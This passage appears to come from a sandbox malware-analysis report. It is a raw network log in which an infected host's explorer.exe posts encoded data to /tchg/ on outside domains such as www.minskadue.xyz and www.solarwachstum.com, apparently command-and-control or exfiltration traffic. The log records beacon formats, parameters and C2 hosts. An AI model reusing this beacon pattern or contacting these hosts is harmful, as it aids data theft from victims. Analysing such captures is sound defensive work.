May 30, 2023 11:10:40.913418055 CEST	1015	OUT	Data Raw: 74 53 50 28 48 68 63 66 45 7e 31 73 4b 36 37 75 57 58 73 32 59 47 39 6b 73 4a 36 79 63 47 4a 65 46 6a 5a 67 5a 66 50 7e 31 57 4c 4b 7a 36 78 28 6f 45 76 34 6e 79 46 55 64 5a 4e 66 48 66 32 33 50 43 67 73 4f 53 76 4b 65 6d 6c 28 75 75 73 51 79 54 Data Ascii: tSP(HhcfE~1sK67uWXs2YG9ksJ6ycGJeFjZgZfP~1WLKz6x(oEv4nyFUdZNfHf23PCgsOSvKeml(uusQyTcSksPnJUbXUVwkBeIsNkV5d5wLc86T_hMcJbip7olc4TUO-Bp2HCkE7opwA28JJ~8P-4R8uD3UvfHCGD0BUUCdIh7iJGnoIG8qwuvmlrBjS9hOv(DjVB5wvP7ZJBg~mWtFGYEMoQuJIqqvKNpULe1Kww6XbINuMX7
May 30, 2023 11:10:40.913624048 CEST	1024	OUT	Data Raw: 69 66 64 61 44 69 6f 6f 65 6d 58 37 31 66 37 6b 70 7e 4d 6f 66 31 5f 51 59 6d 71 55 54 4a 7a 47 55 41 44 38 6f 67 4b 71 4a 75 50 36 63 72 4e 4b 48 47 71 30 33 53 65 73 38 6b 76 65 50 59 4c 42 52 32 4e 44 67 55 5a 4c 4a 7e 44 36 67 4f 34 77 68 57 Data Ascii: ifdaDiooemX71f7kp~Mof1_QYmqUTJzGUAD8ogKqJuP6crNKHGq03Ses8kvePYLBR2NDgUZLJ~D6gO4whWyGUoR1rzWejs82zHR9hgx3CAbBds1gO9WS0KEE4PeueeHBbDVxzEuO-~acr~APvp6XBAJIHu_fDjLKR8OGaYjduDF(Q1xe1rVQMWeh6nwunkK5S(xxATPgorZ(L2H5KkwHVBb~4hZ50hwc07rYKujXY0XallxJR2B
May 30, 2023 11:10:40.913886070 CEST	1026	OUT	Data Raw: 59 36 78 7a 77 4d 74 41 55 45 37 45 57 74 5a 37 5f 4a 72 75 4a 73 68 41 6f 4d 61 63 71 70 4e 4d 37 72 4d 73 44 6a 36 28 35 7a 56 76 2d 62 33 64 73 28 69 74 4a 55 66 43 47 38 35 56 69 7e 5f 68 55 39 6b 45 4e 73 6b 7e 44 41 6a 68 51 66 6a 63 31 66 Data Ascii: Y6xzwMtAUE7EWtZ7_JruJshAoMacqpNM7rMsDj6(5zVv-b3ds(itJUfCG85Vi~_hU9kENsk~DAjhQfjc1fY6uHcrsXZ2nG8v2S2q135VsliAq04Ptj4Gx~aCX4fhOqUehstCl3uKT8HeURyTKMOU3qObulgq8Ob9ZqcaMYKV_Y6p0OLoLOKiWs9W-38hME0ReGJZ_s9go3wKCPFwSaP8LYir8Rrwi(4E-feK2RQSJnneolZA00t
May 30, 2023 11:10:40.914104939 CEST	1031	OUT	Data Raw: 35 53 4f 75 72 4c 61 4c 6b 4b 55 6e 41 78 4c 44 53 28 58 62 64 33 5f 33 38 7e 7a 7e 74 67 37 59 36 69 72 6d 44 78 56 79 6f 4f 76 37 36 4f 44 35 74 76 6c 4d 4e 28 50 32 43 32 70 50 51 6f 6f 4d 78 4b 56 47 5f 43 35 6a 64 61 47 37 74 6a 5f 32 70 37 Data Ascii: 5SOurLaLkKUnAxLDS(Xbd3_38~z~tg7Y6irmDxVyoOv76OD5tvlMN(P2C2pPQooMxKVG_C5jdaG7tj_2p7PFWrM(WT-rs5vMMrdjAAaQ-SPT_K55GSMg3JZI_VYOh~ddwfCE0o_KdXXvpnCMZR4zm(sEg2ZBap1TauHJaS88Thzlyra~uUluOpNekAURlw2R8(vEPWSlfUk3LXPumfvFhRpZnTK9uCOPtbxivw1Ci4yYrhfQdsX
May 30, 2023 11:10:40.915285110 CEST	1032	IN	HTTP/1.1 405 Not Allowed Date: Tue, 30 May 2023 09:10:40 GMT Content-Type: text/html Content-Length: 150 Connection: close Server: UD Forwarding 3.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>
May 30, 2023 11:10:40.924773932 CEST	1038	OUT	Data Raw: 34 71 69 73 76 42 4d 44 67 39 4e 30 76 32 72 36 37 6b 67 68 71 4a 64 47 49 68 6e 70 39 4f 74 7e 58 46 6a 4c 67 4a 49 61 53 76 63 4d 63 6a 73 37 63 38 36 70 4a 55 71 63 43 49 73 6f 4f 37 44 5a 58 74 59 78 4f 28 41 7a 51 6c 4d 30 72 48 47 58 67 62 Data Ascii: 4qisvBMDg9N0v2r67kghqJdGIhnp9Ot~XFjLgJIaSvcMcjs7c86pJUqcCIsoO7DZXtYxO(AzQlM0rHGXgblGLbDolrutuUxGZRyoVeRB2hCsxFCRhIWD6n3zCTTR7z-HApm4ISKSCOjfQp5~PoZSCVBflhwGPtdALv6yWGmglwTmR~Yxn~9c7RIiYyMpO~flWgplwBsxLr96e9wepL2CkwrOrR1S-UZ1RdbLfIJfnylInzzlTMZ
May 30, 2023 11:10:40.924961090 CEST	1045	OUT	Data Raw: 6d 62 54 41 6a 44 69 43 37 6a 65 6c 67 72 56 4d 4a 56 7a 71 6c 33 58 6c 6f 63 6f 6e 39 67 49 43 64 59 63 54 6b 37 6a 56 30 4e 7a 61 4c 54 49 68 34 6c 43 42 56 5a 2d 69 49 45 78 38 6d 64 64 75 53 6d 37 64 56 68 38 46 5f 6b 32 41 69 47 66 4a 32 44 Data Ascii: mbTAjDiC7jelgrVMJVzql3Xlocon9gICdYcTk7jV0NzaLTIh4lCBVZ-iIEx8mdduSm7dVh8F_k2AiGfJ2DMaXCSr5KONTnxP0bqNtCCXEx5inOv62(A~C8Ao8Jr~wTSDih7Ymt-oi7GRdNpRee_zXsYYnSTieZ8hmgExf7fRpcpF98-4F(1nfQKob5PJZloyRDWLD95rz2IhX4OmvhWWkYRRbaubwwSwukicemn9vkAonkFVaD6

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.11.20	49764	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:14.128957033 CEST	293	OUT	POST /tchg/ HTTP/1.1 Host: www.minskadue.xyz Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.minskadue.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.minskadue.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 4f 4c 48 71 66 47 78 6c 45 7a 4a 70 4a 66 36 71 42 64 64 50 7e 53 4a 6f 35 7a 59 50 50 59 78 42 54 70 4b 48 38 73 4b 57 73 2d 6e 6c 4b 38 65 38 6b 41 58 51 4f 5a 33 76 33 36 38 7a 38 6c 56 5f 37 37 76 30 6d 6d 65 67 30 66 54 56 32 6c 6d 48 54 36 45 49 37 67 7e 34 42 61 72 33 42 59 63 6c 55 63 57 5a 72 6d 31 6e 54 52 42 55 56 53 30 65 75 69 79 53 4c 56 55 32 45 57 56 4f 7e 38 42 79 64 51 4a 6e 67 64 48 65 4a 6a 57 30 76 6f 41 33 71 74 33 69 34 4c 64 51 4c 72 32 43 73 59 61 66 51 7a 52 66 4a 59 4c 64 4a 58 6b 69 6b 6a 51 34 48 67 6e 4c 68 41 66 79 32 56 54 38 6a 4b 4b 4a 4d 6a 56 69 31 35 75 6d 75 57 39 62 52 5f 78 5a 62 4c 34 50 42 50 69 63 47 62 4c 74 4c 31 41 48 46 63 50 4d 6e 77 48 52 51 4e 34 44 78 61 31 44 75 47 32 5f 4b 7a 7a 50 73 65 42 4d 76 4a 45 5a 4b 58 74 79 31 4b 6e 31 70 31 6d 33 7e 42 58 62 34 62 66 58 4a 51 4f 47 4c 32 69 59 48 38 48 52 6e 6c 4a 55 47 73 33 66 71 6e 7e 6d 7e 67 52 49 43 7a 41 39 63 32 70 61 45 67 30 58 42 57 72 5f 48 53 7a 54 74 6a 37 6b 53 46 36 36 58 75 59 68 65 75 7a 5a 52 53 34 73 63 78 7e 66 68 5f 52 4c 37 6e 4a 59 76 30 34 61 64 34 31 4c 51 44 4a 42 55 2d 32 4e 50 33 4d 4f 62 54 54 5f 56 44 74 41 30 57 28 79 51 4c 78 61 4f 5a 49 59 43 7a 77 77 58 32 36 77 46 6c 6e 67 37 69 5a 4e 79 46 6e 4e 65 6c 33 46 70 76 61 79 30 53 28 32 36 52 4f 45 63 63 55 76 67 39 72 73 45 33 33 73 4d 66 7e 4a 33 78 59 51 59 33 67 4c 72 4f 79 35 62 59 62 4e 30 63 64 79 32 71 52 66 79 45 67 58 48 32 4c 34 48 38 37 5a 32 4d 73 6f 68 2d 49 38 56 7a 59 72 54 48 6f 6c 41 39 73 72 42 51 5a 62 5a 50 4e 2d 57 41 52 50 73 30 61 7a 33 4d 4f 42 4f 54 41 79 76 39 37 73 36 41 4f 6c 75 4f 36 5a 66 34 6b 39 42 61 6e 4f 55 53 4d 61 52 57 72 64 74 63 4d 68 42 49 7a 52 39 4a 66 41 30 46 74 34 32 78 53 74 7e 4b 38 5f 33 4f 32 32 58 57 54 4d 39 75 46 6c 73 35 64 57 79 33 64 62 53 37 58 78 57 2d 7a 2d 44 4c 72 44 49 7a 74 44 32 64 68 49 6a 4b 68 43 39 56 54 5a 71 43 71 6a 5a 69 4a 6f 67 34 58 75 68 50 77 76 68 47 53 31 65 65 53 6b 77 31 49 44 6f 68 6c 45 78 58 71 43 48 79 73 4d 55 6b 71 39 47 42 36 4d 62 35 76 6d 4f 33 4c 58 75 6b 42 75 37 2d 77 61 6f 6d 44 6a 36 41 34 4b 50 6e 4b 5f 4e 64 6f 62 33 41 62 6c 6f 67 28 6d 4d 4a 67 4c 28 71 5a 6a 56 6a 4b 41 4f 34 42 76 62 33 49 4e 7e 5f 54 4c 73 48 61 4b 4e 58 57 7a 52 69 7e 64 44 77 6a 44 67 44 64 37 73 30 59 6e 6a 52 59 68 46 43 7e 48 76 45 72 77 56 47 43 74 6e 71 4d 71 6d 71 48 79 78 30 42 57 30 66 4a 53 61 57 72 64 62 51 4a 4c 28 68 4d 37 6d 34 4a 32 4d 35 37 6a 48 53 54 59 72 47 55 76 33 32 38 57 73 34 4d 70 73 34 61 6c 54 62 64 57 78 6f 36 39 45 50 43 65 4f 59 69 78 37 34 54 4d 75 32 5a 68 74 6d 67 38 45 39 61 6e 55 79 65 50 59 47 6a 5a 62 71 41 4a 51 33 56 43 6c 32 49 34 32 73 48 43 6a 39 45 75 53 70 5a 61 56 46 56 62 6f 43 59 52 52 52 6d 6d 70 6b 39 74 66 33 49 36 39 43 6e 4c 78 41 4c 54 64 34 4d 36 76 68 74 59 28 46 62 61 63 34 63 6e 4c 49 49 67 33 55 63 33 78 6e 63 62 37 75 4e 57 5a 6b 32 48 6a 33 43 67 4f 48 4e 49 49 72 54 6d 57 39 58 2d 71 5a 38 44 7a 50 67 57 79 62 67 59 53 32 67 6d 73 73 33 43 51 41 55 42 66 36 68 58 73 79 31 56 48 4f 54 55 4e 77 69 35 56 38 76 66 7e 79 78 44 6e 48 52 63 6a 58 61 55 53 30 37 61 4b 74 39 69 35 4f 33 71 6d 59 38 6b 4c 56 4e 56 7a 2d 6a 31 70 4b 78 32 4b 61 7e 46 64 44 77 66 58 34 57 61 4d 2d 28 51 33 43 4c 31 48 5f 6d 54 31 4c 67 34 57 35 31 79 47 68 66 6d 37 4a 5a 56 28 4f 49 75 48 77 62 7a 78 77 4e 72 75 77 38 30 46 6e 70 6d 59 32 53 77 30 54 42 68 49 50 38 38 31 6c 46 79 73 6f 45 48 46 64 31 65 44 61 6f 31 41 6f 4f 4c 4b 4a 57 2d 6d 6f 51 73 28 50 62 46 76 49 72 6b 4e 35 42 57 64 71 69 66 7e 33 4e 47 78 49 71 6f 31 33 37 4c 56 58 32 6a 4a 74 62 4b 57 69 45 7a 33 52 48 43 65 4c 4f 39 76 65 61 74 69 72 73 64 6d 65 6a 76 32 44 49 46 41 53 42 7a 4e 67 45 7a 42 45 66 33 52 41 30 6a 67 69 6e 65 36 55 50 76 50 5f 77 45 4f 6b 37 36 6e 74 73 35 55 36 4e 59 42 58 6b 63 39 2d 33 43 6d 73 7a 48 52 30 31 5f 49 63 7a 55 41 43 4c 64 42 49 28 77 6c 75 4f 5a 59 5f 50 2d 32 4a 70 67 77 67 31 42 4a 6a 7a 36 71 42 34 51 38 5f 71 65 75 78 6d 69 34 33 4e 49 68 78 7e 42 6e 5a 42 51 41 57 4d 6c 39 4d 61 69 28 61 63 50 50 6a 4d 4a 68 Data Ascii: O0qEM=OLHqfGxlEzJpJf6qBddP~SJo5zYPPYxBTpKH8sKWs-nlK8e8kAXQOZ3v368z8lV_77v0mmeg0fTV2lmHT6EI7g~4Bar3BYclUcWZrm1nTRBUVS0euiySLVU2EWVO~8BydQJngdHeJjW0voA3qt3i4LdQLr2CsYafQzRfJYLdJXkikjQ4HgnLhAfy2VT8jKKJMjVi15umuW9bR_xZbL4PBPicGbLtL1AHFcPMnwHRQN4Dxa1DuG2_KzzPseBMvJEZKXty1Kn1p1m3~BXb4bfXJQOGL2iYH8HRnlJUGs3fqn~m~gRICzA9c2paEg0XBWr_HSzTtj7kSF66XuYheuzZRS4scx~fh_RL7nJYv04ad41LQDJBU-2NP3MObTT_VDtA0W(yQLxaOZIYCzwwX26wFlng7iZNyFnNel3Fpvay0S(26ROEccUvg9rsE33sMf~J3xYQY3gLrOy5bYbN0cdy2qRfyEgXH2L4H87Z2Msoh-I8VzYrTHolA9srBQZbZPN-WARPs0az3MOBOTAyv97s6AOluO6Zf4k9BanOUSMaRWrdtcMhBIzR9JfA0Ft42xSt~K8_3O22XWTM9uFls5dWy3dbS7XxW-z-DLrDIztD2dhIjKhC9VTZqCqjZiJog4XuhPwvhGS1eeSkw1IDohlExXqCHysMUkq9GB6Mb5vmO3LXukBu7-waomDj6A4KPnK_Ndob3Ablog(mMJgL(qZjVjKAO4Bvb3IN~_TLsHaKNXWzRi~dDwjDgDd7s0YnjRYhFC~HvErwVGCtnqMqmqHyx0BW0fJSaWrdbQJL(hM7m4J2M57jHSTYrGUv328Ws4Mps4alTbdWxo69EPCeOYix74TMu2Zhtmg8E9anUyePYGjZbqAJQ3VCl2I42sHCj9EuSpZaVFVboCYRRRmmpk9tf3I69CnLxALTd4M6vhtY(Fbac4cnLIIg3Uc3xncb7uNWZk2Hj3CgOHNIIrTmW9X-qZ8DzPgWybgYS2gmss3CQAUBf6hXsy1VHOTUNwi5V8vf~yxDnHRcjXaUS07aKt9i5O3qmY8kLVNVz-j1pKx2Ka~FdDwfX4WaM-(Q3CL1H_mT1Lg4W51yGhfm7JZV(OIuHwbzxwNruw80FnpmY2Sw0TBhIP881lFysoEHFd1eDao1AoOLKJW-moQs(PbFvIrkN5BWdqif~3NGxIqo137LVX2jJtbKWiEz3RHCeLO9veatirsdmejv2DIFASBzNgEzBEf3RA0jgine6UPvP_wEOk76nts5U6NYBXkc9-3CmszHR01_IczUACLdBI(wluOZY_P-2Jpgwg1BJjz6qB4Q8_qeuxmi43NIhx~BnZBQAWMl9Mai(acPPjMJhBZOQb6u6Seu(UL_SkgjnusKKwDBmCIOc2WkDEd8HfusYQW7MJCG5eJDnGB3gBxK5ANkMaLQMEoi5j0GYBfoO5mDoOqchm(ckkXIwHZGPS1Yi_2P1Khzt-wIfnbJuxQA(A2W9fDv2WgfVl3nlIyteB2Po-tY4_Bg2BpeHiXQyhyGpu4hFDLzfa6jkg5pR-ETj4FB0JVcXM5oPVF8ZXIv(e53waYf0mN3V8IDxijdcfCgCaCDmQjItWHeTmGOW0PaCFD6BEYGWJ4V6nEHoQVbhhV_YrFcpcfmhMP48WypWvvZakcH0wbh3zo2pezgjv4TNVpSOnGMxK7u8wkZgNj9~MvfFgT15R98uWEd2ZNy9JcFMO0xysz4h7aIj9sBmPZ8cOahKJbPG1zj9qcbmId5yQonZQHIsd7mqtCvX7pe87GWgUZqB5n2dVzVFXmyGBQCccEITSudzJpyEAprLINl~cYzSU5bp9NQNRtMx6cl9mA2A7z4PR8rAnCR6UVBZLHWN4O5F2aHPv6S31KsdxorwyVCuWexPuy-er1-sLVZzMaY~B70rmT415izLjsYWYUpFFpAAZdy5q~lHciTdehtO1YHZjbZgWaNMmkXOiRkwJQ5VRqxDpFu5mZxLxBKGH0bMjfc7lt6N5ZDdzJ7XGFXbWXCNeeQhvn05KGW9pbsKGM36GFe11lZteLfdYyvxcmo(1Os2ty6ziVF5LVafuUxlVdP7NzdPGAhARTGo6XYRHHAiich~NHXezcaTkvP8CoC7xUoLRNSvII1l1J0YEA_iUH-Djuf9KoNsuhFhpcB1MpLGLP3~kU_47rqLkN7GWELCzB-BZi0PWuWM-5fH5X5~u(QQVk-BHWshh2CE1mEOEO-InjIMLEDVY(D8JUD0nu53ZeS(Zum6m1PrmUz419EGhc_Z9kB56D-Bbfam7ZrDfjOjIi-aQRmMKZqDYrskUGVK3XPFLxIU4gJGdNmBEMB8II5BPH6CnU5Sg7ivAXospUIGb9vs29TU2rQSgpcxWpUARFqy6GWOWltUbCoA070WlQydNSX~B5UUgTiS4zi6xFZRSG711DhDoaBg7zb8pmd6YVWhBcVmPWMfJai3Q9u00EIofHnwwQFzW~QyCkXJyHHfYGYz1C8f5QbdHuyKMVAGlQaZGzBoVtaF1XKpOCiwsxUvZ43f4asr57W3_K8jGpUfrw2rYTNFJo2b1hiDmnM3jukIaaR46psIjyHyGq_tLwMrZIersW7nC0JOPh-coC3krU5pIXVdx~WUcr0kFzd9Yug0plGjcObSla3NQvGbrv-mDSJ73WDWG7V0EtC3u(jgz1v7zsxGXue2kUz3uuzcooEjCkucKYlGOURlYD-9Kozp8hzaHAYXHuvA-FuUTQ4C9CbBBgFzEEziefUSoek6jSRZlb9XpYH66KQRZiztUNEkNg-Tp8PthmnRBSTm2dc7_OMyWwP6EEspU8bFJMTfyCvV6RSyH6dglap7dpYZsXZyvPiML~rTQIm7zdSLHRjmZYIYZjTefy3XlTFkGuNkkxJJkIT89n3qvTWoEI_m93_rQyjP9s3kSW_2gjLwgDAHKAaB5UXXUYs~_4ecfmRRAwLUE1MqajJ0sF83rVhwNF9qKszdolxQQRyVlzM1tAOIY2QrqKNHz(oRYbbt51M~mgOMTQp2bW0SaCyKfQiu33qas5eL6ZiURv2rb(Flzn8FxCyyOSu4yyVZcvLY2GiW0ry1vFhJqMITrvbTNH-Mxh5LnNLIx686B70Y2sWycq09rK-BBrADn2ytstgEAyeqSN-vu7ubIMWbZmgmE1f6AsnBXoUZycrULmmNsxMy6RxtNPVKESFazLZD9hHIrjVwnzGMtBfqOTC~pOfVCCM5t5i(hYBdoj_WIucfF0J4Vs4y-hv0ptZnhGFpNivudl0yiO6wyQP~GTuqViGlu~chJiaF3f-DgaaZVsmTv(SbkhCQ6huDwlkh5lfnXLjSEnJTobULPzGsMVY3SDIMkthejcM685plGkaxjOChZ4BbJXeu2vq3n8-ZLUIthwCxP9_1JD5xF4JxaJ_VMMmv-GGNLgBbjWGNa(Jn92AqaGEyPAcpTRyK7j2ggQWBO2Sb0oLorC1(dycCD~Pqf11MIFnucoO4pB3U5NwjcIipCS1kNYSE0(C2R6pdpW9fwjV0A7E0rD7rBIKwbYtmlhNV6vcrkENvjl5TKmv4rybG68Zo86tRprudW4ZCcsF7UZZLiKpCTPSwAjMcSKqoBZ9YJSpc-radGS3Jq9YY6g3GWAHLp1SszAWaloPyktKWOBPYO5M1lsuL8NIsLE_9oMhKaHmbPJDdwNuKCoSWVPslUxUkRCcPGrqTAWLlY2nKFq6VJG43Pmlz-WBycVHhz5t0xKJXZQWlA4-90MI(7rDD-5FLo3UrKDEHYfP4El3xINlTJTBpHhdoStd2GQU(O1ZVVGNuKC2ulKCcO8dAuHhk9yLSMZ1gwtNvjhwo_IaEuG87av7ZdthQnoSFMYw2nm_jaP3gekxNcIsg-QjOfr06VGP3l1hc6K-Wx3PjvPRgQHk0xPXc9uN8DQUsDI1NwmCcGV5As9sOzXnYD(XGvMaicyZljKeXeqF1HnWiQ1GHkZMHCuklMRwTiErLZTDxV(008qyeHiPFKdIjCCxdnUSZfDgHhovUPyRCqE-SXn72N(5ln0xSBzGw97szdz-7pAE4ixYtCgGNJMDF-YOnqNh
May 30, 2023 11:08:14.147660017 CEST	293	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:08:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
May 30, 2023 11:08:14.147782087 CEST	298	OUT	Data Raw: 66 47 6e 33 70 38 69 74 77 6d 5a 38 42 4e 62 32 37 32 75 71 75 53 36 43 42 28 58 38 46 73 5a 35 4c 67 6f 33 5a 65 51 43 49 4a 35 5a 5f 72 6b 52 6f 4d 61 68 7a 69 6e 7e 33 43 77 51 74 54 72 33 39 46 57 41 30 50 5a 4e 41 31 47 4a 42 4d 74 6b 4d 70 Data Ascii: fGn3p8itwmZ8BNb272uquS6CB(X8FsZ5Lgo3ZeQCIJ5Z_rkRoMahzin~3CwQtTr39FWA0PZNA1GJBMtkMpEbFrz8p~tx_T3OLZIAnPtnywsgVgWMcG1lf7DjjeJcnKRONYIVdFIpSWal856jwTCKWYBkhcRmzQfEBA9r-gjMvGleJYznHk5yBONdMLt~cI5cqSD5RS9nd(wjhPcjOh7oPF0GM3feRoS9S2vmUXQzpgWIviQo23W
May 30, 2023 11:08:14.148173094 CEST	311	OUT	Data Raw: 76 54 5a 75 51 44 52 7a 35 41 79 30 78 49 76 43 35 57 53 36 5a 70 33 6c 51 44 4b 5a 4f 30 71 6a 2d 6a 67 43 6c 35 4a 46 2d 32 38 57 5a 32 55 47 4f 6d 6d 53 42 46 6c 43 4b 52 64 47 4b 53 32 70 2d 57 6a 7e 42 67 7a 53 75 39 67 54 56 44 4b 4b 59 31 Data Ascii: vTZuQDRz5Ay0xIvC5WS6Zp3lQDKZO0qj-jgCl5JF-28WZ2UGOmmSBFlCKRdGKS2p-Wj~BgzSu9gTVDKKY1ZAPS4c_L1Qsd9ZALeebq_iAR4rfRGYkkPYQedvJ7ecMOIYlu081AvBPc_GJcyJGuzUnBbxWeGpOeC~4jFViEra22XmChJIIwbdsm9Zgnp59W0rQWcY07ON3HfvB8kZ8KCBB0ACN~mj96_gA2wr_McT15jlrHkzR6d
May 30, 2023 11:08:14.148216009 CEST	316	OUT	Data Raw: 6a 38 62 73 67 70 45 4c 6a 79 6e 6d 68 6d 62 77 61 47 35 53 42 34 78 47 5a 79 35 57 63 37 58 43 30 73 48 64 35 44 4b 64 5f 67 37 4c 30 36 54 46 63 78 6c 6b 70 43 6a 73 75 36 68 67 51 7a 4b 4f 4a 55 74 45 42 6b 78 49 6f 61 37 4b 31 78 5f 28 51 4c Data Ascii: j8bsgpELjynmhmbwaG5SB4xGZy5Wc7XC0sHd5DKd_g7L06TFcxlkpCjsu6hgQzKOJUtEBkxIoa7K1x_(QLU0m4GRxcj1RqhlL3M3YxVv2JWwgjMsao1LcNW~kpTehCOWixvzaciyI7UL4bqTlOGwmESdQ9w1XowFxzS(924afbWbadv(Tw_jbEnDKDDV0tIxl13PaRQNaMHYubIqLo0cZ(uDn(Wg-xtYXbMMhBfaCl9uK5qTVil
May 30, 2023 11:08:14.148263931 CEST	319	OUT	Data Raw: 63 77 77 6d 45 61 4f 63 65 7e 38 30 6c 77 52 6a 4d 46 55 47 77 63 32 64 4f 32 57 28 51 46 76 42 66 41 53 31 7a 55 39 44 76 47 62 64 55 56 79 52 74 33 75 45 50 77 31 4f 6c 70 5f 56 46 66 55 33 43 47 49 39 4b 45 49 4f 51 52 43 4a 52 78 4b 65 4d 73 Data Ascii: cwwmEaOce~80lwRjMFUGwc2dO2W(QFvBfAS1zU9DvGbdUVyRt3uEPw1Olp_VFfU3CGI9KEIOQRCJRxKeMsi982z(mddcuir(zjgpw8ISS2hFky2ka6cLMNEGieEiTkUD58ZgC(qo59DsxduM_SePQmlsarHvuirJDxeRo9RVHMgBlusynFJbwun5IapUwf1h7VbVtv-SshjkQDh8qkklAR1zlpDyL5lf9xxh5tnZ_qAyy2cSrp_
May 30, 2023 11:08:14.167078018 CEST	324	OUT	Data Raw: 68 35 6c 72 58 7e 39 55 49 64 4b 51 69 53 35 33 55 6e 6f 67 6d 47 73 67 74 63 6a 51 67 65 5f 76 47 37 6a 46 64 71 52 47 35 65 37 71 36 52 63 52 43 7e 47 36 4e 48 33 6f 4a 76 75 68 4e 45 61 49 56 4a 72 32 4c 34 6d 4e 42 74 6e 47 69 73 69 55 5a 64 Data Ascii: h5lrX~9UIdKQiS53UnogmGsgtcjQge_vG7jFdqRG5e7q6RcRC~G6NH3oJvuhNEaIVJr2L4mNBtnGisiUZdToRt_kdMXoYrQVTRaOzXacj4zRuhmkkEeV1WnHZ3auxp7enUR0nKKqc3ZlrJnFXJ-evieovjtrLn6rpPxvmRj~5ZvrYU8ZZD5B1Gf788lVAs7i0mwRQB7ykt63vclK1gq2E64LAR_SDqnX8oGiGanLhex7VqeECO5
May 30, 2023 11:08:14.167247057 CEST	332	OUT	Data Raw: 4b 6c 36 42 41 72 33 6c 47 38 35 54 61 6a 62 79 38 4b 76 70 4d 56 4b 57 6a 32 70 51 58 52 6a 4c 73 36 6c 6f 68 54 71 50 54 44 69 67 65 64 64 4e 51 31 59 7e 49 65 4f 72 4e 4b 63 4c 42 47 6e 30 50 73 75 66 31 33 37 4b 70 49 45 41 39 34 49 33 75 37 Data Ascii: Kl6BAr3lG85Tajby8KvpMVKWj2pQXRjLs6lohTqPTDigeddNQ1Y~IeOrNKcLBGn0Psuf137KpIEA94I3u7pNJ7vFU~FggMReVC3KBB6Z1wGOHP5mnNi(BOPpjDHdemI6uVI6s3Mz0UsWOeNR5Bl4fAhHulMf1BUQFYPeRkoTaY33A~dP8QDm9dNScwldEzYSZIM5a7RSjNvi5ZNCL9ByZXVXCxJF917R2evbvUCu5La5MLEgz9H

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.11.20	49809	89.31.143.1	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:10:43.431622028 CEST	1047	OUT	GET /tchg/?O0qEM=k2D3DblF7vL6SN+gu0l7QPzZCDmxseSx80MfaI1OtzxPgAvg61Sn0PlLCTFPQNSP+C41MomAw+jmeQI9bGxtvb+gFV+DCXaP5w==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.solarwachstum.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:10:43.444339991 CEST	1047	IN	HTTP/1.1 200 OK Date: Tue, 30 May 2023 09:10:43 GMT Content-Type: text/html Content-Length: 6637 Last-Modified: Thu, 21 Jan 2021 10:26:32 GMT Connection: close ETag: "600956d8-19ed" Server: UD Forwarding 3.1 Accept-Ranges: bytes
May 30, 2023 11:10:43.444375992 CEST	1048	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 44 6f 6d 61 69 6e 20 72 65 67 69 Data Ascii: <!DOCTYPE html><html lang="de"><head><meta name="description" content="Domain registriert bei united-domains.de"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Domain im Kundenauftrag registriert</title><style>body,h
